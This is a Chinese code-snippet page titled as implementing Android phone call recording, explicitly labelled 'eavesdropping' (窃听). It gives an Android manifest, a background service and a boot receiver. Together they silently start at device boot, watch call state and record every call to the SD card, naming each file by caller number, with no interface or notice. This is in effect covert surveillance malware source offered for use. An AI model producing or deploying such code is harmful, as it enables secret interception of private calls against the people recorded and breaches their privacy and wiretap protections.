首页 > 代码库 > android 实现电话录音(窃听)
android 实现电话录音(窃听)
配置文件
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="codefans.app" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <!-- 监听电话状态权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 在SDCard中创建与删除文件权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!-- 在SDCard写入数据权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- 刻入声音权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <service android:name=".PhoneService"></service> <receiver android:name=".PhoneBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播 --> </intent-filter> </receiver> </application> </manifest>
public class PhoneService extends Service{ @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { super.onCreate(); TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE); //注册监听器 监听电话状态 } private final class PhoneListener extends PhoneStateListener { private String incomeNumber; //来电号码 private MediaRecorder mediaRecorder; private File file; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch(state) { case TelephonyManager.CALL_STATE_RINGING: //来电 this.incomeNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK: //接通电话 file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp"); mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //获得声音数据源 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); // 按3gp格式输出 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mediaRecorder.setOutputFile(file.getAbsolutePath()); //输出文件 mediaRecorder.prepare(); //准备 mediaRecorder.start(); break; case TelephonyManager.CALL_STATE_IDLE: //挂掉电话 if(mediaRecorder != null) { mediaRecorder.stop(); mediaRecorder.release(); mediaRecorder = null; } break; } } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }
public class PhoneBroadcastReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context, PhoneService.class); context.startService(service); //启动服务 }}
android 实现电话录音(窃听)
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。